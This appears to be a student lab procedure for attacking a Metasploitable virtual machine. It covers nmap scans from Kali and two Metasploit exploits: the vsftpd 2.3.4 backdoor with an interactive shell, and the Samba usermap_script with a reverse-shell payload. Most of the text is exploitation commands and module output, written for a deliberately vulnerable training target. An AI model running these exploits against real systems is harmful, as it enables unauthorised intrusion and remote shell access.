Exp-8 Procedure

- Download metasploit, open metasploit in the virtual machine and power on. login: msfadmin, password: msfadmin
- Enter "ifconfig" command to get IP address of metasploit OS.
- Next open nmap tool and Enter IP address of metasploit in Target field and select Intense scan, all TCP Ports and scan.
- Next open Kali linux and enter

> nmap -v -A IP Address of metasploit

> msfconsole

> search vsftpd

Matching Modules

#	Name
0	
1	exploit/unix/ftp/vsftpd_234_backdoor

> use exploit/unix/ftp/vsftpd_234_backdoor

> info

> set RHOST IP Address of metasploit

> info

> show payloads

Compatible Payloads

#	Name
0	payload/cmd/unix/interact

> set payload/cmd/unix/interact

> exploit

Abort session 1? [y/N] y

> exit

> msfconsole

> search ~~ush~~ samba

> search 3.0.20

Matching Modules

#	Name
0	exploit/multi/samba/usermap_script

> use exploit/multi/samba/usermap_script

> info

> set RHOST IP Address of Metasploit

> info

> show payloads

Compatible Payloads

#	Name
0	
1	
.	
.	
.	
20	payload/cmd/unix/reverse
.	
.	
.	

> set payload/cmd/unix/reverse

> exploit

> exit